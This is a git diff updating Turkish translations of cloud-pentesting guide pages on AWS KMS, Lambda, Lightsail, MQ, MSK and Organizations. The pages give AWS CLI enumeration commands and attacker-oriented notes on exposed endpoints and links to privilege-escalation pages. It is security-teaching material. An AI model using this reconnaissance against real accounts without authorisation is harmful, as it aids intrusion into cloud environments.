politikaları hala etkilidir. +**Bu izin olmadan, anahtara erişimi sağlayan IAM politikaları etkisizdir**, ancak anahtara erişimi reddeden IAM politikaları hala etkilidir. - **Anahtarın yönetilemez hale gelme riskini azaltır**, hesap yöneticilerine, silinemez olan hesap kök kullanıcısı da dahil olmak üzere, erişim kontrol izni vererek. @@ -54,7 +54,7 @@ Diğer AWS kaynak politikalarından farklı olarak, bir AWS **KMS anahtar politi } ``` > [!WARNING] -> Eğer **hesaba izin verilmişse** (`"arn:aws:iam::111122223333:root"`), hesaptan bir **prensip** **KMS anahtarını kullanmak için IAM izinlerine ihtiyaç duyacaktır**. Ancak, eğer bir rolün **ARN**'si örneğin **Anahtar Politikasında özel olarak izin verilmişse**, o rol **IAM izinlerine ihtiyaç duymaz**. +> Eğer **hesaba izin verilmişse** (`"arn:aws:iam::111122223333:root"`), hesaptan bir **prensip** **KMS anahtarını kullanmak için IAM izinlerine ihtiyaç duyacaktır**. Ancak, eğer bir rolün **ARN**'si **Anahtar Politikasında özel olarak izin verilmişse**, o rol **IAM izinlerine ihtiyaç duymaz**.
@@ -65,18 +65,18 @@ Bir politikanın özellikleri: - JSON tabanlı belge - Kaynak --> Etkilenen kaynaklar ("\*" olabilir) - Eylem --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (izinler) -- Etki --> İzin Ver/Dışla +- Etki --> İzin Ver / Reddet - Prensip --> etkilenen arn - Koşullar (isteğe bağlı) --> izinleri vermek için koşul İzinler: -- AWS hesabınız içindeki başka bir AWS prensibine izinlerinizi devretmenizi sağlar. Bunları AWS KMS API'lerini kullanarak oluşturmanız gerekir. CMK tanımlayıcısı, grantee prensibi ve gerekli işlem seviyesi (Decrypt, Encrypt, GenerateDataKey...) belirtilebilir. +- AWS hesabınızdaki başka bir AWS prensibine izinlerinizi devretmenizi sağlar. Bunları AWS KMS API'lerini kullanarak oluşturmanız gerekir. CMK tanımlayıcısı, grantee prensibi ve gerekli işlem seviyesi (Decrypt, Encrypt, GenerateDataKey...) belirtilebilir. - İzin oluşturulduktan sonra bir GrantToken ve GrantID verilir. **Erişim**: -- **anahtar politikası** aracılığıyla -- Eğer bu mevcutsa, bu **IAM politikasından önceliklidir** +- **anahtar politikası** aracılığıyla -- Eğer bu mevcutsa, bu IAM politikasından **önceliklidir**. - **IAM politikası** aracılığıyla - **izinler** aracılığıyla @@ -84,39 +84,39 @@ Bir politikanın özellikleri: ### Anahtar Yöneticileri -Varsayılan olarak anahtar yöneticisi: +Varsayılan anahtar yöneticisi: - KMS'yi yönetme erişimine sahiptir ancak verileri şifreleme veya şifre çözme yetkisi yoktur. - Sadece IAM kullanıcıları ve rolleri Anahtar Yöneticileri listesine eklenebilir (gruplar değil). -- Harici bir CMK kullanılıyorsa, Anahtar Yöneticileri anahtar malzemesini içe aktarma iznine sahiptir. +- Harici bir CMK kullanılıyorsa, Anahtar Yöneticileri anahtar materyalini içe aktarma iznine sahiptir. ### CMK'ların Döngüsü -- Aynı anahtar yerinde ne kadar uzun süre kalırsa, o anahtar ile o kadar çok veri şifrelenir ve eğer o anahtar ihlal edilirse, o zaman veri için patlama alanı o kadar genişler. Ayrıca, anahtar aktif kaldıkça, ihlal edilme olasılığı artar. +- Aynı anahtar yerinde ne kadar uzun süre kalırsa, o anahtarla o kadar çok veri şifrelenir ve eğer o anahtar ihlal edilirse, o zaman veri kaybı alanı o kadar genişler. Ayrıca, anahtar aktif kaldıkça, ihlal edilme olasılığı artar. - **KMS, müşteri anahtarlarını her 365 günde bir döndürür** (veya istediğiniz zaman süreci manuel olarak gerçekleştirebilirsiniz) ve **AWS tarafından yönetilen anahtarlar her 3 yılda bir döndürülür** ve bu süre değiştirilemez. -- **Eski anahtarlar, döngüden önce şifrelenmiş verileri çözmek için saklanır.** -- Bir ihlal durumunda, anahtarın döndürülmesi tehdidi ortadan kaldırmaz çünkü ihlal edilen anahtar ile şifrelenmiş tüm veriler çözülebilir. Ancak, **yeni veriler yeni anahtar ile şifrelenecektir.** -- Eğer **CMK** **devre dışı** veya **silinme bekliyor** durumundaysa, KMS **anahtar döndürme işlemi yapmayacaktır** ta ki CMK yeniden etkinleştirilene veya silme iptal edilene kadar. +- **Eski anahtarlar**, döngüden önce şifrelenmiş verileri çözmek için saklanır. +- Bir ihlal durumunda, anahtarın döndürülmesi tehdidi ortadan kaldırmaz çünkü ihlal edilen anahtarla şifrelenmiş tüm veriler çözülebilir. Ancak, **yeni veriler yeni anahtar ile şifrelenecektir**. +- Eğer **CMK** **devre dışı** veya **silinme bekliyor** durumdaysa, KMS **anahtar döndürme işlemi yapmayacaktır** ta ki CMK yeniden etkinleştirilene veya silme iptal edilene kadar. #### Manuel döndürme -- **Yeni bir CMK oluşturulması gerekir**, ardından yeni bir CMK-ID oluşturulur, bu nedenle **uygulamanızı** yeni CMK-ID'yi **referans almak için güncellemeniz gerekecektir.** -- Bu süreci daha kolay hale getirmek için **bir anahtar kimliğine atıfta bulunmak için takma adlar kullanabilirsiniz** ve ardından sadece takma adın atıfta bulunduğu anahtarı güncelleyebilirsiniz. +- **Yeni bir CMK oluşturulması gerekir**, ardından yeni bir CMK-ID oluşturulur, bu nedenle **uygulamanızı** yeni CMK-ID'yi **referans almak için güncellemeniz gerekecektir**. +- Bu süreci kolaylaştırmak için **bir anahtar kimliğine atıfta bulunmak için takma adlar kullanabilirsiniz** ve ardından sadece takma adın atıfta bulunduğu anahtarı güncelleyebilirsiniz. - Eski dosyaları şifrelemek için **eski anahtarları saklamanız gerekir**. -Kendi yerel anahtar altyapınızdan anahtarları içe aktarabilirsiniz. +Yerel anahtar altyapınızdan anahtarları içe aktarabilirsiniz. ### Diğer ilgili KMS bilgileri KMS, tüm hizmetlerden alınan şifreleme/şifre çözme taleplerinin sayısına göre fiyatlandırılır. -KMS, **CloudTrail ile tam denetim ve uyum entegrasyonuna** sahiptir; burada KMS üzerinde gerçekleştirilen tüm değişiklikleri denetleyebilirsiniz. +KMS, **CloudTrail** ile tam denetim ve uyum **entegrasyonuna** sahiptir; burada KMS üzerinde gerçekleştirilen tüm değişiklikleri denetleyebilirsiniz. -KMS politikası ile aşağıdakileri yapabilirsiniz: +KMS politikası ile şunları yapabilirsiniz: -- Veri anahtarlarını kimlerin oluşturabileceğini ve bu anahtarlara hangi hizmetlerin erişim iznine sahip olduğunu sınırlamak -- Sistemlerin yalnızca şifreleme, yalnızca şifre çözme veya her ikisine erişimini sınırlamak -- Sistemlerin bölgeler arasında anahtarlara erişimini sağlamak için tanımlamak (ancak bu önerilmez çünkü KMS'yi barındıran bölgede bir arıza, diğer bölgelerdeki sistemlerin kullanılabilirliğini etkiler). +- Veri anahtarlarını kimlerin oluşturabileceğini ve bu anahtarlara hangi hizmetlerin erişim iznine sahip olduğunu sınırlayın. +- Sistemlerin yalnızca şifreleme, yalnızca şifre çözme veya her ikisine erişimini sınırlayın. +- Sistemlerin bölgeler arasında anahtarlara erişimini sağlamak için tanımlayın (ancak bu önerilmez çünkü KMS'yi barındıran bölgede bir arıza, diğer bölgelerdeki sistemlerin kullanılabilirliğini etkiler). Bölgeler arasında anahtarları senkronize edemez veya taşıyamaz/kopyalayamazsınız; yalnızca bölge arasında erişimi sağlamak için kurallar tanımlayabilirsiniz. @@ -147,7 +147,7 @@ aws kms describe-custom-key-stores ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## Referanslar - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 23310b318..a6272d095 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,23 +4,23 @@ ## Lambda -Amazon Web Services (AWS) Lambda, **sunucu sağlama veya yönetim gerektirmeden** kodun çalıştırılmasını sağlayan bir **hesaplama hizmeti** olarak tanımlanır. **Kodun çalıştırılması için gereken kaynak tahsisini otomatik olarak yönetme** yeteneği ile karakterizedir ve yüksek kullanılabilirlik, ölçeklenebilirlik ve güvenlik gibi özellikler sunar. Lambda'nın önemli bir yönü, **ücretlerin yalnızca kullanılan hesaplama süresine dayalı olmasıdır**, bu da başlangıç yatırımları veya uzun vadeli taahhütler gerektirmediği anlamına gelir. +Amazon Web Services (AWS) Lambda, sunucu sağlama veya yönetim gerektirmeden kodun çalıştırılmasını sağlayan bir **hesaplama hizmeti** olarak tanımlanır. Kodun çalıştırılması için gereken kaynak tahsisini **otomatik olarak yönetme** yeteneği ile karakterizedir ve yüksek kullanılabilirlik, ölçeklenebilirlik ve güvenlik gibi özellikler sunar. Lambda'nın önemli bir yönü, **ücretlerin yalnızca kullanılan hesaplama süresine dayalı olmasıdır**, bu da başlangıç yatırımları veya uzun vadeli yükümlülükler gerektirmediği anlamına gelir. -Bir lambda çağırmak için, **istediğiniz kadar sık** (Cloudwatch ile) çağırmak, bir **URL** uç noktası açmak ve onu çağırmak, **API Gateway** aracılığıyla çağırmak veya **S3** kovasındaki verilere yapılan **değişiklikler** veya bir **DynamoDB** tablosundaki güncellemeler gibi **olaylara** dayalı olarak çağırmak mümkündür. +Bir lambda çağırmak için, **istediğiniz kadar sık** (Cloudwatch ile) çağırabilir, bir **URL** uç noktası açabilir ve onu çağırabilir, **API Gateway** üzerinden çağırabilir veya **S3** kovasındaki verilere yapılan **değişiklikler** veya bir **DynamoDB** tablosundaki güncellemeler gibi **olaylara** dayalı olarak çağırabilirsiniz. Bir lambdanın **kodu** **`/var/task`** dizininde saklanır. -### Lambda Alias Ağırlıkları +### Lambda Aliases Weights Bir Lambda'nın **birden fazla versiyonu** olabilir.\ -Ve **alias'lar** aracılığıyla **1'den fazla** versiyon açığa çıkarılabilir. **Alias** içinde açığa çıkarılan **her** versiyonun **ağırlıkları**, **hangi alias'ın çağrıyı alacağını** belirleyecektir (örneğin 90%-10% olabilir).\ +Ve **alias** aracılığıyla **1'den fazla** versiyon açığa çıkarılabilir. Bir alias içinde açığa çıkarılan **her** versiyonun **ağırlıkları**, **hangi alias'ın çağrıyı alacağını** belirleyecektir (örneğin %90-%10 olabilir).\ Eğer **bir** alias'ın kodu **açık** ise, **açık** versiyonun istismarı alana kadar **istekler gönderebilirsiniz**. ![](<../../../images/image (223).png>) -### Kaynak Politikaları +### Resource Policies -Lambda kaynak politikaları, örneğin **diğer hizmetlerin/hesapların lambdayı çağırmasına erişim vermek** için kullanılır.\ +Lambda kaynak politikaları, örneğin, **diğer hizmetlerin/hesapların lambdayı çağırmasına erişim vermek** için kullanılır.\ Örneğin, **URL aracılığıyla açığa çıkarılan bir lambdaya herkesin erişmesine izin veren** politika:
@@ -29,30 +29,30 @@ Veya bir API Gateway'in bunu çağırmasına izin veren bu:
-### Lambda Veritabanı Proxy'leri +### Lambda Database Proxies **Yüzlerce** **eşzamanlı lambda isteği** olduğunda, her birinin bir veritabanına **bağlanması ve bağlantıyı kapatması** gerekiyorsa, bu çalışmayacaktır (lambdalar durumsuzdur, açık bağlantıları sürdüremezler).\ -O zaman, eğer **Lambda fonksiyonlarınız RDS Proxy ile etkileşime giriyorsa**, veritabanı örneğiniz yerine. Bu, eşzamanlı Lambda fonksiyonları tarafından oluşturulan birçok eşzamanlı bağlantının ölçeklenmesi için gerekli bağlantı havuzlamasını yönetir. Bu, Lambda uygulamalarınızın **mevcut bağlantıları yeniden kullanmasına** olanak tanır, her fonksiyon çağrısı için yeni bağlantılar oluşturmak yerine. +O zaman, eğer **Lambda fonksiyonlarınız RDS Proxy ile etkileşime geçiyorsa**, veritabanı örneğiniz yerine. Bu, eşzamanlı Lambda fonksiyonları tarafından oluşturulan birçok eşzamanlı bağlantının ölçeklenmesi için gerekli bağlantı havuzlamasını yönetir. Bu, Lambda uygulamalarınızın **mevcut bağlantıları yeniden kullanmasına** olanak tanır, her fonksiyon çağrısı için yeni bağlantılar oluşturmak yerine. -### Lambda EFS Dosya Sistemleri +### Lambda EFS Filesystems Verileri korumak ve hatta paylaşmak için **Lambdalar EFS'ye erişebilir ve bunları bağlayabilir**, böylece Lambda ondan okuma ve yazma yapabilir. -### Lambda Katmanları +### Lambda Layers -Bir Lambda _katmanı_, **ek kod** veya diğer içerikleri içerebilen bir .zip dosyası arşividir. Bir katman, kütüphaneler, [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir. +Bir Lambda _katmanı_, **ekstra kod** veya diğer içerikleri içerebilen bir .zip dosyası arşividir. Bir katman, kütüphaneler, [özel çalışma zamanı](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), veri veya yapılandırma dosyaları içerebilir. -Her fonksiyon için en fazla **beş katman** dahil etmek mümkündür. Bir fonksiyona bir katman dahil ettiğinizde, **içerikler yürütme ortamındaki `/opt`** dizinine çıkarılır. +Her fonksiyon için en fazla **beş katman** dahil etmek mümkündür. Bir fonksiyona bir katman dahil ettiğinizde, **içerikler `/opt`** dizinine çıkarılır. -**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketirse, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz. +**Varsayılan olarak**, oluşturduğunuz **katmanlar** AWS hesabınıza **özel**dir. Bir katmanı diğer hesaplarla **paylaşmayı** veya katmanı **genel** hale getirmeyi seçebilirsiniz. Fonksiyonlarınız, farklı bir hesap tarafından yayımlanan bir katmanı tüketiyorsa, fonksiyonlarınız **katman silindikten sonra veya katmana erişim izniniz geri alındıktan sonra katman sürümünü kullanmaya devam edebilir**. Ancak, silinmiş bir katman sürümünü kullanarak yeni bir fonksiyon oluşturamaz veya fonksiyonları güncelleyemezsiniz. Bir konteyner görüntüsü olarak dağıtılan fonksiyonlar katmanları kullanmaz. Bunun yerine, görüntüyü oluşturduğunuzda tercih ettiğiniz çalışma zamanı, kütüphaneler ve diğer bağımlılıkları konteyner görüntüsüne paketlersiniz. -### Lambda Uzantıları +### Lambda Extensions Lambda uzantıları, çeşitli **izleme, gözlemlenebilirlik, güvenlik ve yönetişim araçları** ile entegre olarak fonksiyonları geliştirir. Bu uzantılar, [.zip arşivleri kullanarak Lambda katmanları](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) aracılığıyla veya [konteyner görüntüsü dağıtımlarında](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) eklenir ve iki modda çalışır: **içsel** ve **dışsal**. -- **İçsel uzantılar**, çalışma zamanı süreci ile birleşir, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlatmasını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanları için geçerlidir. +- **İçsel uzantılar**, çalışma zamanı süreci ile birleşir, **dil spesifik ortam değişkenleri** ve **sarmalayıcı betikler** kullanarak başlangıcını manipüle eder. Bu özelleştirme, **Java Correto 8 ve 11, Node.js 10 ve 12, ve .NET Core 3.1** dahil olmak üzere çeşitli çalışma zamanları için geçerlidir. - **Dışsal uzantılar**, ayrı süreçler olarak çalışır ve Lambda fonksiyonunun yaşam döngüsü ile operasyon uyumunu sürdürür. **Node.js 10 ve 12, Python 3.7 ve 3.8, Ruby 2.5 ve 2.7, Java Corretto 8 ve 11, .NET Core 3.1** ve **özel çalışma zamanları** gibi çeşitli çalışma zamanlarıyla uyumludur. ### Enumeration @@ -108,7 +108,7 @@ aws lambda invoke --function-name --cli-binary-format raw-in-base64-out - aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` -#### URL üzerinden Lambda fonksiyonunu çağır +#### URL üzerinden Lambda fonksiyonu çağırma Artık çalıştırılabilecek olası lambda fonksiyonlarını bulma zamanı: ``` @@ -122,13 +122,13 @@ aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` ![](<../../../images/image (102).png>) -Artık ismi ve kimliği bildiğinize göre, ismi alabilirsiniz: +Artık ismi ve ID'yi bildiğinize göre, ismi alabilirsiniz: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` ![](<../../../images/image (237).png>) -Ve sonunda işlevi çağırın (ID, İsim ve işlev adı URL'de göründüğünü unutmayın): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +Ve sonunda, işlevi çağırarak erişim sağlayın (ID, Ad ve işlev adı URL'de göründüğünü unutmayın): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** @@ -140,19 +140,19 @@ Bir lambda'yı tetikleyebilecek birçok başka kaynak vardır. ### Privesc -Aşağıdaki sayfada **Lambda izinlerini kötüye kullanarak ayrıcalıkları artırmayı** kontrol edebilirsiniz: +Aşağıdaki sayfada **Lambda izinlerini kötüye kullanarak ayrıcalıkları artırma** yöntemini kontrol edebilirsiniz: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Kimlik Doğrulaması Olmayan Erişim +### Kimlik Doğrulaması Olmadan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### İstismar Sonrası +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index a91829ef9..7f4ad85fe 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail, yeni bulut kullanıcılarının AWS’in bulut bilişim hizmetlerinden yararlanması için **kolay**, hafif bir yol sunar. Yaygın ve özel web hizmetlerini **VM'ler** (**EC2**) ve **konteynerler** aracılığıyla saniyeler içinde dağıtmanıza olanak tanır.\ +Amazon Lightsail, yeni bulut kullanıcılarının AWS'nin bulut bilişim hizmetlerinden yararlanması için **kolay**, hafif bir yol sunar. Yaygın ve özel web hizmetlerini saniyeler içinde **VM'ler** (**EC2**) ve **konteynerler** aracılığıyla dağıtmanıza olanak tanır.\ Bu, **minimal EC2 + Route53 + ECS**'dir. ### Enumeration @@ -30,13 +30,13 @@ aws lightsail get-key-pairs ``` ### Anlık Görüntüleri Analiz Etme -**Lightsail'den örnek ve ilişkisel veritabanı anlık görüntüleri oluşturmak mümkündür**. Bu nedenle, bunları [**EC2 anlık görüntüleri**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) ve [**RDS anlık görüntüleri**](aws-relational-database-rds-enum.md#enumeration) ile kontrol ettiğiniz gibi kontrol edebilirsiniz. +**Lightsail'den örnek ve ilişkisel veritabanı anlık görüntüleri oluşturmak mümkündür**. Bu nedenle, bunları [**EC2 anlık görüntüleri**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) ve [**RDS anlık görüntüleri**](aws-relational-database-rds-enum.md#enumeration) ile kontrol edebileceğiniz şekilde kontrol edebilirsiniz. ### Meta Veriler -**Meta veri uç noktası lightsail'den erişilebilir**, ancak makineler **AWS tarafından yönetilen bir AWS hesabında çalışmaktadır** bu nedenle **hangi izinlerin verildiğini kontrol edemezsiniz**. Ancak, bunları istismar etmenin bir yolunu bulursanız, doğrudan AWS'yi istismar etmiş olursunuz. +**Meta veri uç noktası lightsail'den erişilebilir**, ancak makineler **AWS tarafından yönetilen bir AWS hesabında** çalıştığı için **verilen izinleri kontrol edemezsiniz**. Ancak, bunları istismar etmenin bir yolunu bulursanız, doğrudan AWS'yi istismar etmiş olursunuz. -### Yetki Yükseltme +### Privesc {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index d875cc46c..aec60ff53 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -6,15 +6,15 @@ ### Mesaj Aracılarına Giriş -**Mesaj aracıları**, farklı yazılım sistemleri arasında iletişimi kolaylaştıran aracılardır; bu sistemler farklı platformlarda inşa edilmiş ve farklı dillerde programlanmış olabilir. **Amazon MQ**, AWS üzerinde mesaj aracılarını dağıtmayı, işletmeyi ve bakımını basitleştirir. **Apache ActiveMQ** ve **RabbitMQ** için yönetilen hizmetler sunarak, kesintisiz sağlama ve otomatik yazılım sürümü güncellemeleri sağlar. +**Mesaj aracıları**, farklı yazılım sistemleri arasında iletişimi kolaylaştıran aracılardır; bu sistemler farklı platformlarda inşa edilmiş ve farklı dillerde programlanmış olabilir. **Amazon MQ**, AWS üzerinde mesaj aracılarını dağıtmayı, işletmeyi ve bakımını basitleştirir. **Apache ActiveMQ** ve **RabbitMQ** için yönetilen hizmetler sunarak kesintisiz sağlama ve otomatik yazılım sürümü güncellemeleri sağlar. ### AWS - RabbitMQ -RabbitMQ, aynı zamanda _mesaj aracı_ veya _kuyruk yöneticisi_ olarak bilinen önde gelen bir **mesaj kuyruklama yazılımıdır**. Temelde, kuyrukların yapılandırıldığı bir sistemdir. Uygulamalar, bu kuyruklarla etkileşimde bulunarak **mesaj gönderir ve alır**. Bu bağlamda mesajlar, diğer uygulamalarda (potansiyel olarak farklı sunucularda) süreçleri başlatmak için komutlardan basit metin mesajlarına kadar çeşitli bilgileri taşıyabilir. Mesajlar, alıcı bir uygulama tarafından alınana ve işlenene kadar kuyruk yöneticisi yazılımı tarafından tutulur. AWS, RabbitMQ sunucularını barındırmak ve yönetmek için kullanımı kolay bir çözüm sunar. +RabbitMQ, aynı zamanda _mesaj aracı_ veya _kuyruk yöneticisi_ olarak bilinen önde gelen bir **mesaj kuyruğu yazılımıdır**. Temelde, kuyrukların yapılandırıldığı bir sistemdir. Uygulamalar, bu kuyruklarla etkileşimde bulunarak **mesaj gönderir ve alır**. Bu bağlamda mesajlar, diğer uygulamalarda (potansiyel olarak farklı sunucularda) süreçleri başlatmak için komutlardan basit metin mesajlarına kadar çeşitli bilgileri taşıyabilir. Mesajlar, alıcı bir uygulama tarafından alınana ve işlenene kadar kuyruk yöneticisi yazılımı tarafından tutulur. AWS, RabbitMQ sunucularını barındırmak ve yönetmek için kullanımı kolay bir çözüm sunar. ### AWS - ActiveMQ -Apache ActiveMQ®, çok yönlülüğü ile bilinen önde gelen açık kaynaklı, Java tabanlı bir **mesaj aracıdır**. Birçok endüstri standardı protokolü destekler ve geniş bir dizi dil ve platformda kapsamlı istemci uyumluluğu sunar. Kullanıcılar: +Apache ActiveMQ®, çok yönlülüğü ile bilinen önde gelen açık kaynaklı, Java tabanlı bir **mesaj aracıdır**. Birçok endüstri standardı protokolü destekler ve geniş bir dil ve platform yelpazesinde kapsamlı istemci uyumluluğu sunar. Kullanıcılar: - JavaScript, C, C++, Python, .Net ve daha fazlasında yazılmış istemcilerle bağlantı kurabilir. - Farklı platformlardan uygulamaları entegre etmek için **AMQP** protokolünü kullanabilir. @@ -24,7 +24,7 @@ Apache ActiveMQ®, çok yönlülüğü ile bilinen önde gelen açık kaynaklı, ActiveMQ'nun sağlamlığı ve esnekliği, çok çeşitli mesajlaşma gereksinimleri için uygun hale getirir. -## Enumeration +## Sayım ```bash # List brokers aws mq list-brokers diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index ae5814c3a..89c5d3378 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,19 +4,19 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)**, **Apache Kafka** üzerinden akış verilerini işleyen uygulamaların geliştirilmesini ve yürütülmesini kolaylaştıran tamamen yönetilen bir hizmettir. **Küme** oluşturma, güncelleme ve silme gibi kontrol düzlemi işlemleri Amazon MSK tarafından sunulmaktadır. Hizmet, veri üretimi ve tüketimini kapsayan Apache Kafka **veri düzlemi işlemlerinin** kullanılmasına izin verir. Mevcut uygulamalar, araçlar ve hem ortaklardan hem de **Apache Kafka topluluğundan** eklentilerle uyumluluğu sağlamak için **Apache Kafka'nın açık kaynak sürümleri** üzerinde çalışır ve uygulama kodunda değişiklik yapma ihtiyacını ortadan kaldırır. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)**, akış verilerini işleyen uygulamaların geliştirilmesini ve yürütülmesini kolaylaştıran tamamen yönetilen bir hizmettir. **Küme** oluşturma, güncelleme ve silme gibi kontrol düzlemi işlemleri Amazon MSK tarafından sunulmaktadır. Hizmet, veri üretimi ve tüketimini kapsayan Apache Kafka **veri düzlemi işlemlerinin** kullanılmasına izin verir. Mevcut uygulamalar, araçlar ve hem ortaklardan hem de **Apache Kafka topluluğundan** eklentilerle uyumluluğu sağlamak için **Apache Kafka'nın** açık kaynak sürümleri üzerinde çalışır ve uygulama kodunda değişiklik yapılmasını gereksiz kılar. -Güvenilirlik açısından, Amazon MSK, yaygın küme arıza senaryolarından **otomatik olarak tespit edip kurtulacak şekilde tasarlanmıştır**, böylece üretici ve tüketici uygulamaları veri yazma ve okuma faaliyetlerine minimum kesinti ile devam edebilir. Ayrıca, Apache Kafka tarafından çoğaltılması gereken veri miktarını en aza indirerek, **değiştirilen brokerların depolama alanını yeniden kullanmaya** çalışarak veri çoğaltma süreçlerini optimize etmeyi hedefler. +Güvenilirlik açısından, Amazon MSK yaygın küme arıza senaryolarını **otomatik olarak tespit edip kurtulacak şekilde tasarlanmıştır**, böylece üretici ve tüketici uygulamaları veri yazma ve okuma faaliyetlerine minimum kesinti ile devam edebilir. Ayrıca, Apache Kafka tarafından çoğaltılması gereken veri miktarını azaltarak, **değiştirilen brokerların depolamasını yeniden kullanmaya** çalışarak veri çoğaltma süreçlerini optimize etmeyi hedefler. ### **Türler** -AWS'nin oluşturulmasına izin verdiği 2 tür Kafka kümesi vardır: Sağlanan ve Sunucusuz. +AWS'nin oluşturulmasına izin verdiği 2 tür Kafka kümesi vardır: Provisioned ve Serverless. Bir saldırgan açısından bilmeniz gerekenler: -- **Sunucusuz doğrudan halka açık olamaz** (sadece halka açık IP olmadan bir VPN'de çalışabilir). Ancak, **Sağlanan** bir **genel IP** almak için yapılandırılabilir (varsayılan olarak bunu yapmaz) ve ilgili portları **açığa çıkarmak** için **güvenlik grubunu** yapılandırabilir. -- **Sunucusuz** **yalnızca IAM** kimlik doğrulama yöntemi destekler. **Sağlanan**, SASL/SCRAM (**şifre**) kimlik doğrulaması, **IAM** kimlik doğrulaması, AWS **Sertifika** Yöneticisi (ACM) kimlik doğrulaması ve **Kimlik Doğrulaması Olmayan** erişimi destekler. -- Kimlik doğrulaması olmayan erişim etkinleştirildiğinde, Sağlanan bir Kafka'nın halka açık olarak açığa çıkarılmasının mümkün olmadığını unutmayın. +- **Serverless doğrudan kamuya açık olamaz** (sadece kamuya açık IP olmadan bir VPN'de çalışabilir). Ancak, **Provisioned** bir **kamu IP'si** almak için yapılandırılabilir (varsayılan olarak bunu yapmaz) ve ilgili portları **açığa çıkarmak** için **güvenlik grubunu** yapılandırabilir. +- **Serverless** **yalnızca IAM** kimlik doğrulama yöntemi destekler. **Provisioned**, SASL/SCRAM (**şifre**) kimlik doğrulaması, **IAM** kimlik doğrulaması, AWS **Sertifika** Yöneticisi (ACM) kimlik doğrulaması ve **Kimlik Doğrulaması Olmayan** erişimi destekler. +- Kimlik doğrulaması olmayan erişim etkinleştirildiğinde, bir Provisioned Kafka'nın kamuya açık hale getirilmesinin mümkün olmadığını unutmayın. ### Enumeration ```bash @@ -78,7 +78,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ../aws-privilege-escalation/aws-msk-privesc.md {{#endref}} -### Kimlik Doğrulama Olmadan Erişim +### Kimlik Doğrulaması Olmayan Erişim {{#ref}} ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index e8b00ed43..1b49ee7e7 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -4,12 +4,12 @@ ## Temel Bilgiler -AWS Organizations, ek maliyetler olmadan yeni AWS hesapları oluşturmayı kolaylaştırır. Kaynaklar zahmetsizce tahsis edilebilir, hesaplar verimli bir şekilde gruplandırılabilir ve bireysel hesaplara veya gruplara yönetim politikaları uygulanabilir, bu da organizasyon içindeki yönetim ve kontrolü artırır. +AWS Organizations, ek maliyetler olmadan yeni AWS hesapları oluşturmayı kolaylaştırır. Kaynaklar zahmetsizce tahsis edilebilir, hesaplar verimli bir şekilde gruplandırılabilir ve yönetim politikaları bireysel hesaplara 